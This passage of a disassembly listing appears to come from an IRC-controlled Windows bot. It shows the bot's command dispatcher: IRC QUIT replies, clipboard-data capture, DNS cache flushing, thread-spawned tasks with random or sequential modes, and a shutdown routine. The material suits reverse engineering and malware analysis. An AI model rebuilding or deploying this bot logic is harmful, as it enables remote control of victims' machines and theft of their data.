					; sub_40CE55+4BCFj
		cmp	[ebp+var_31C], ebx
		jz	loc_411C49
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43A33C	; getsockname
		mov	al, [ebp+var_9B3]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2D4], eax
		push	[ebp+var_2D4]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416D40
		xor	eax, eax
		cmp	[ebp+var_9B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_417040
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_411AE2


loc_411AC0:				; CODE XREF: sub_40CE55+4C8Bj
		cmp	eax, ebx
		jz	short loc_411AE2
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h
		push	eax
		call	sub_417040
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_411AC0


loc_411AE2:				; CODE XREF: sub_40CE55+4C69j
					; sub_40CE55+4C6Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		mov	[ebp+var_2F0], 1
		mov	[ebp+var_2F8], esi
		call	sub_415A6A
		push	offset byte_438FBC
		push	offset dword_42C244
		call	sub_415910
		add	esp, 14h
		test	eax, eax
		jz	short loc_411B4C
		push	offset dword_42C244
		lea	eax, [ebp+var_3A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_411B52
; ---------------------------------------------------------------------------


loc_411B4C:				; CODE XREF: sub_40CE55+4CDEj
		mov	[ebp+var_3A0], bl


loc_411B52:				; CODE XREF: sub_40CE55+4CF5j
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_411B64
		mov	eax, offset aSequential	; "Sequential"


loc_411B64:				; CODE XREF: sub_40CE55+4D08j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_433C10
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	8
		push	eax
		call	sub_414F93
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset sub_40799F
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_411BEE


loc_411BDC:				; CODE XREF: sub_40CE55+4D97j
		cmp	[ebp+var_2EC], ebx
		jnz	short loc_411C09
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_411BDC
; ---------------------------------------------------------------------------


loc_411BEE:				; CODE XREF: sub_40CE55+4D85j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_434CBC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch


loc_411C09:				; CODE XREF: sub_40CE55+4D8Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_411C28
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h


loc_411C28:				; CODE XREF: sub_40CE55+4DB7j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		pop	ecx


loc_411C35:				; CODE XREF: sub_40CE55+4B79j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_411984
		jmp	loc_40D219
; ---------------------------------------------------------------------------


loc_411C49:				; CODE XREF: sub_40CE55+2FDCj
					; sub_40CE55+4BF1j
		push	offset dword_433BC4
		jmp	loc_41202C
; ---------------------------------------------------------------------------


loc_411C53:				; CODE XREF: sub_40CE55+17B0j
					; sub_40CE55+17C5j
		push	4
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_411C69
		push	offset unk_433B90
		jmp	loc_40EBA7
; ---------------------------------------------------------------------------


loc_411C69:				; CODE XREF: sub_40CE55+4E08j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_411C8C
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_804]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_411CA0
; ---------------------------------------------------------------------------


loc_411C8C:				; CODE XREF: sub_40CE55+4E1Dj
		mov	edi, 104h
		lea	eax, [ebp+var_804]
		push	edi
		push	eax
		push	ebx
		call	dword_42107C	; GetModuleFileNameA


loc_411CA0:				; CODE XREF: sub_40CE55+4E35j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_411CB0
		mov	esi, offset byte_42C1FC


loc_411CB0:				; CODE XREF: sub_40CE55+4E54j
		push	esi
		lea	eax, [ebp+var_700]
		push	edi
		push	eax
		call	sub_415A6A
		mov	eax, dword_42C188
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5F4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F8], ebx
		mov	[ebp+var_808], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_700]
		push	eax
		lea	eax, [ebp+var_804]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_5F4]
		push	offset unk_4278F4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	4
		push	eax
		call	sub_414F93
		add	esp, 38h
		mov	[ebp+var_5FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_808]
		push	ebx
		push	eax
		push	offset sub_406C3E
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_5FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_411D80


loc_411D6A:				; CODE XREF: sub_40CE55+4F29j
		cmp	[ebp+var_568], ebx
		jnz	loc_40ECC3
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_411D6A
; ---------------------------------------------------------------------------


loc_411D80:				; CODE XREF: sub_40CE55+4F13j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433B44
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------


loc_411D91:				; CODE XREF: sub_40CE55+1786j
					; sub_40CE55+179Bj
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_411DB0
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jz	short loc_411DB0
		push	edi
		call	sub_415A5F
		pop	ecx
		jmp	short loc_411DB5
; ---------------------------------------------------------------------------


loc_411DB0:				; CODE XREF: sub_40CE55+4F45j
					; sub_40CE55+4F50j
		mov	eax, dword_42C18C


loc_411DB5:				; CODE XREF: sub_40CE55+4F59j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_584], eax
		xor	eax, eax
		cmp	[ebp+var_9B0], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_570], eax
		jz	short loc_411DE8
		lea	eax, [ebp+var_688]
		push	esi
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_411E13
; ---------------------------------------------------------------------------


loc_411DE8:				; CODE XREF: sub_40CE55+4F80j
		lea	eax, [ebp+var_3E8]
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3E8]
		push	eax
		call	sub_417348
		add	esp, 14h


loc_411E13:				; CODE XREF: sub_40CE55+4F91j
		lea	eax, [ebp+var_688]
		push	eax
		call	sub_415CF0
		cmp	[ebp+eax+var_689], 5Ch
		pop	ecx
		jnz	short loc_411E3E
		lea	eax, [ebp+var_688]
		push	eax
		call	sub_415CF0
		pop	ecx
		mov	[ebp+eax+var_689], bl


loc_411E3E:				; CODE XREF: sub_40CE55+4FD3j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_910]
		mov	[ebp+var_914], esi
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_688]
		mov	[ebp+var_578], edi
		push	eax
		push	[ebp+var_584]
		push	esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_4277C4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	3
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_57C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_914]
		push	ebx
		push	eax
		push	offset sub_405B23
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_57C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_411EF2


loc_411EE0:				; CODE XREF: sub_40CE55+509Bj
		cmp	[ebp+var_568], ebx
		jnz	short loc_411F0D
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_411EE0
; ---------------------------------------------------------------------------


loc_411EF2:				; CODE XREF: sub_40CE55+5089j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433AF8


loc_411EFE:				; CODE XREF: sub_40CE55+34F6j
					; sub_40CE55+35F0j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch


loc_411F0D:				; CODE XREF: sub_40CE55+34DAj
					; sub_40CE55+35D4j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41284E
		push	ebx
		push	edi


loc_411F18:				; CODE XREF: sub_40CE55+2DA0j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_40F7CE
; ---------------------------------------------------------------------------


loc_411F2B:				; CODE XREF: sub_40CE55+175Cj
					; sub_40CE55+1771j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_411F3E
		push	esi
		call	sub_415A5F
		jmp	short loc_411F45
; ---------------------------------------------------------------------------


loc_411F3E:				; CODE XREF: sub_40CE55+50DFj
		push	8
		call	sub_4151FA


loc_411F45:				; CODE XREF: sub_40CE55+50E7j
		cmp	eax, ebx
		pop	ecx
		jz	loc_41298E
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071FF


loc_411F60:				; CODE XREF: sub_40CE55+5597j
		add	esp, 10h
		jmp	loc_41298E
; ---------------------------------------------------------------------------


loc_411F68:				; CODE XREF: sub_40CE55+1732j
					; sub_40CE55+1747j
		mov	eax, dword_43A2C0
		cmp	eax, ebx
		jz	short loc_411F85
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_411F7E
		push	offset unk_433AC0
		jmp	short loc_411F9A
; ---------------------------------------------------------------------------


loc_411F7E:				; CODE XREF: sub_40CE55+5120j
		push	offset unk_433A80
		jmp	short loc_411F9A
; ---------------------------------------------------------------------------


loc_411F85:				; CODE XREF: sub_40CE55+511Aj
		push	offset unk_433A40
		jmp	short loc_411F9A
; ---------------------------------------------------------------------------


loc_411F8C:				; CODE XREF: sub_40CE55+1708j
					; sub_40CE55+171Dj
		call	sub_40A093
		test	eax, eax
		jz	short loc_411FB0
		push	offset unk_433A08


loc_411F9A:				; CODE XREF: sub_40CE55+5127j
					; sub_40CE55+512Ej ...
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		jmp	loc_412875
; ---------------------------------------------------------------------------


loc_411FB0:				; CODE XREF: sub_40CE55+513Ej
		push	offset unk_4339C8
		jmp	short loc_411F9A
; ---------------------------------------------------------------------------


loc_411FB7:				; CODE XREF: sub_40CE55+16DEj
					; sub_40CE55+16F3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_411FD6
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h


loc_411FD6:				; CODE XREF: sub_40CE55+5165j
		push	ebx
		push	[ebp+var_4]
		call	sub_409C92
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	offset dword_433984
		jmp	loc_4122BE
; ---------------------------------------------------------------------------


loc_411FF8:				; CODE XREF: sub_40CE55+15FEj
					; sub_40CE55+1613j
		push	7
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_41200B
		push	offset dword_433948
		jmp	short loc_41202C
; ---------------------------------------------------------------------------


loc_41200B:				; CODE XREF: sub_40CE55+51ADj
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A7FD
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_412027
		push	offset dword_43390C
		jmp	short loc_41202C
; ---------------------------------------------------------------------------


loc_412027:				; CODE XREF: sub_40CE55+51C9j
		push	offset dword_4338D8


loc_41202C:				; CODE XREF: sub_40CE55+2B3Dj
					; sub_40CE55+2C6Dj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40F7B1
; ---------------------------------------------------------------------------


loc_41203F:				; CODE XREF: sub_40CE55+15D4j
					; sub_40CE55+15E9j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40967F
		jmp	loc_40D216
; ---------------------------------------------------------------------------


loc_412058:				; CODE XREF: sub_40CE55+15AAj
					; sub_40CE55+15BFj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C515
		jmp	loc_40D216
; ---------------------------------------------------------------------------


loc_412075:				; CODE XREF: sub_40CE55+1580j
					; sub_40CE55+1595j
		or	edi, 0FFFFFFFFh
		call	dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_41209E
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	edi, eax


loc_41209E:				; CODE XREF: sub_40CE55+523Ej
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4120B7
		cmp	edi, 0FFFFFFFFh
		jnz	loc_41298E


loc_4120B7:				; CODE XREF: sub_40CE55+5257j
		push	ebx
		call	sub_40A9B2
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4338AC
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		jmp	loc_410180
; ---------------------------------------------------------------------------


loc_4120F9:				; CODE XREF: sub_40CE55+1556j
					; sub_40CE55+156Bj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4085D3
		lea	eax, [ebp+var_2C8]
		push	offset unk_433878
		push	eax
		call	sub_4154E7
		add	esp, 14h
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------


loc_412123:				; CODE XREF: sub_40CE55+152Cj
					; sub_40CE55+1541j
		push	1Eh
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_41214C
		cmp	[ebp+var_8], ebx
		jnz	loc_40D219
		push	ebx
		push	[ebp+var_4]
		push	offset dword_433844
		push	[ebp+var_8C]
		jmp	loc_40D777
; ---------------------------------------------------------------------------


loc_41214C:				; CODE XREF: sub_40CE55+52D8j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4DC]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		mov	[ebp+var_458], ebx
		jz	short loc_4121AD
		push	esi
		push	offset aFull	; "full"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4121AD
		mov	[ebp+var_458], 1


loc_4121AD:				; CODE XREF: sub_40CE55+533Bj
					; sub_40CE55+534Cj
		lea	eax, [ebp+var_2C8]
		push	offset dword_433808
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Eh
		push	eax
		call	sub_414F93
		add	esp, 14h
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_413F83
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_41221B


loc_412205:				; CODE XREF: sub_40CE55+53C4j
		cmp	[ebp+var_44C], ebx
		jnz	loc_41284E
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_412205
; ---------------------------------------------------------------------------


loc_41221B:				; CODE XREF: sub_40CE55+53AEj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4337B8
		jmp	loc_41283F
; ---------------------------------------------------------------------------


loc_41222C:				; CODE XREF: sub_40CE55+1502j
					; sub_40CE55+1517j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41224B
		push	ebx
		push	[ebp+var_4]
		push	offset dword_43378C
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h


loc_41224B:				; CODE XREF: sub_40CE55+53DAj
		push	[ebp+arg_4]
		call	dword_43A430	; closesocket
		call	dword_43A2F8	; WSACleanup
		call	sub_409E15
		push	ebx
		call	dword_421114	; ExitProcess


loc_412266:				; CODE XREF: sub_40CE55+14D8j
					; sub_40CE55+14EDj
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40AAD1
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	offset dword_433760
		jmp	short loc_4122BE
; ---------------------------------------------------------------------------


loc_412291:				; CODE XREF: sub_40CE55+14AEj
					; sub_40CE55+14C3j
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40AD85
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	offset dword_433734


loc_4122BE:				; CODE XREF: sub_40CE55+519Ej
					; sub_40CE55+543Aj
		call	sub_40B16D
		jmp	loc_410F32
; ---------------------------------------------------------------------------


loc_4122C8:				; CODE XREF: sub_40CE55+1484j
					; sub_40CE55+1499j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B20D
		jmp	loc_40D216
; ---------------------------------------------------------------------------


loc_4122E1:				; CODE XREF: sub_40CE55+145Aj
					; sub_40CE55+146Fj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_374], bl
		jz	short loc_412320
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412320
		push	esi
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412320
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_374]
		push	80h
		push	eax
		call	sub_415A6A
		add	esp, 10h


loc_412320:				; CODE XREF: sub_40CE55+5495j
					; sub_40CE55+54A0j ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_3F4]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		push	offset dword_433708
		mov	[ebp+var_3F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Ch
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	eax
		push	offset sub_40B27F
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_4123C0


loc_4123AA:				; CODE XREF: sub_40CE55+5569j
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40D219
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_4123AA
; ---------------------------------------------------------------------------


loc_4123C0:				; CODE XREF: sub_40CE55+5553j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4336BC
		jmp	loc_40D402
; ---------------------------------------------------------------------------


loc_4123D1:				; CODE XREF: sub_40CE55+1430j
					; sub_40CE55+1445j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B0F5
		push	offset dword_433690
		call	sub_40B16D
		jmp	loc_411F60
; ---------------------------------------------------------------------------


loc_4123F1:				; CODE XREF: sub_40CE55+1406j
					; sub_40CE55+141Bj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4DC]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		jz	short loc_41244B
		push	offset dword_43368C
		push	esi
		call	sub_415910
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_458], eax
		jmp	short loc_412451
; ---------------------------------------------------------------------------


loc_41244B:				; CODE XREF: sub_40CE55+55DAj
		mov	[ebp+var_458], ebx


loc_412451:				; CODE XREF: sub_40CE55+55F4j
		lea	eax, [ebp+var_2C8]
		push	offset dword_43365C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Fh
		push	eax
		call	sub_414F93
		add	esp, 14h
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_414FFE
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_4124BB


loc_4124A9:				; CODE XREF: sub_40CE55+5664j
		cmp	[ebp+var_44C], ebx
		jnz	short loc_4124D6
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_4124A9
; ---------------------------------------------------------------------------


loc_4124BB:				; CODE XREF: sub_40CE55+5652j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_433610


loc_4124C7:				; CODE XREF: sub_40CE55+4523j
					; sub_40CE55+463Cj
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch


loc_4124D6:				; CODE XREF: sub_40CE55+28C1j
					; sub_40CE55+28E3j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		jmp	loc_40E519
; ---------------------------------------------------------------------------


loc_4124E2:				; CODE XREF: sub_40CE55+138Aj
					; sub_40CE55+139Fj
		push	offset aIdspp	; "idspp"
		lea	eax, [ebp+var_2C8]
		push	offset dword_4335E4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 20h
		jmp	loc_40EFA7
; ---------------------------------------------------------------------------


loc_412519:				; CODE XREF: sub_40CE55+1360j
					; sub_40CE55+1375j
		push	dword_468818
		call	sub_40A9B2
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4335A4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 24h
		jmp	loc_40EFA7
; ---------------------------------------------------------------------------


loc_412557:				; CODE XREF: sub_40CE55+1336j
					; sub_40CE55+134Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412589
		cmp	[ebp+var_C], ebx
		jz	short loc_412598
		push	esi
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412598
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		add	esp, 0Ch
		jmp	short loc_412598
; ---------------------------------------------------------------------------


loc_412589:				; CODE XREF: sub_40CE55+570Bj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		pop	ecx
		pop	ecx


loc_412598:				; CODE XREF: sub_40CE55+5710j
					; sub_40CE55+571Fj ...
		push	0FFFFFFFEh
		jmp	loc_40D21B
; ---------------------------------------------------------------------------


loc_41259F:				; CODE XREF: sub_40CE55+130Cj
					; sub_40CE55+1321j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	offset dword_433550
		call	sub_40B16D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_4125C1:				; CODE XREF: sub_40CE55+12E2j
					; sub_40CE55+12F7j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	offset dword_43350C
		call	sub_40B16D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40D21C
; ---------------------------------------------------------------------------


loc_4125E2:				; CODE XREF: sub_40CE55+12B8j
					; sub_40CE55+12CDj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407135
		jmp	loc_410E9B
; ---------------------------------------------------------------------------


loc_4125F8:				; CODE XREF: sub_40CE55+1213j
					; sub_40CE55+1228j
		push	[ebp+esi+var_90]
		push	1Eh
		push	offset dword_4334FC
		push	offset dword_4334F0
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_412610:				; CODE XREF: sub_40CE55+11E9j
					; sub_40CE55+11FEj
		push	[ebp+esi+var_90]
		push	1Bh
		push	offset dword_4334E4
		push	offset dword_4334D4
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------


loc_412628:				; CODE XREF: sub_40CE55+1014j
					; sub_40CE55+1029j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_412647
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jz	short loc_412647
		push	edi
		call	sub_415A5F
		pop	ecx
		jmp	short loc_41264C
; ---------------------------------------------------------------------------


loc_412647:				; CODE XREF: sub_40CE55+57DCj
					; sub_40CE55+57E7j
		mov	eax, dword_42C184


loc_41264C:				; CODE XREF: sub_40CE55+57F0j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_464], eax
		cmp	esi, ebx
		jz	short loc_412671
		push	esi


loc_41265E:				; CODE XREF: sub_40CE55+582Bj
		lea	eax, [ebp+var_474]
		push	10h
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_412688
; ---------------------------------------------------------------------------


loc_412671:				; CODE XREF: sub_40CE55+5806j
		cmp	[ebp+var_9B3], bl
		jz	short loc_412682
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_41265E
; ---------------------------------------------------------------------------


loc_412682:				; CODE XREF: sub_40CE55+5822j
		mov	[ebp+var_474], bl


loc_412688:				; CODE XREF: sub_40CE55+581Aj
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_458], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_454], eax
		lea	eax, [ebp+var_4F4]
		push	eax
		mov	[ebp+var_4F8], esi
		call	sub_415A6A
		add	esp, 0Ch
		push	[ebp+var_464]
		push	esi
		call	sub_40A171
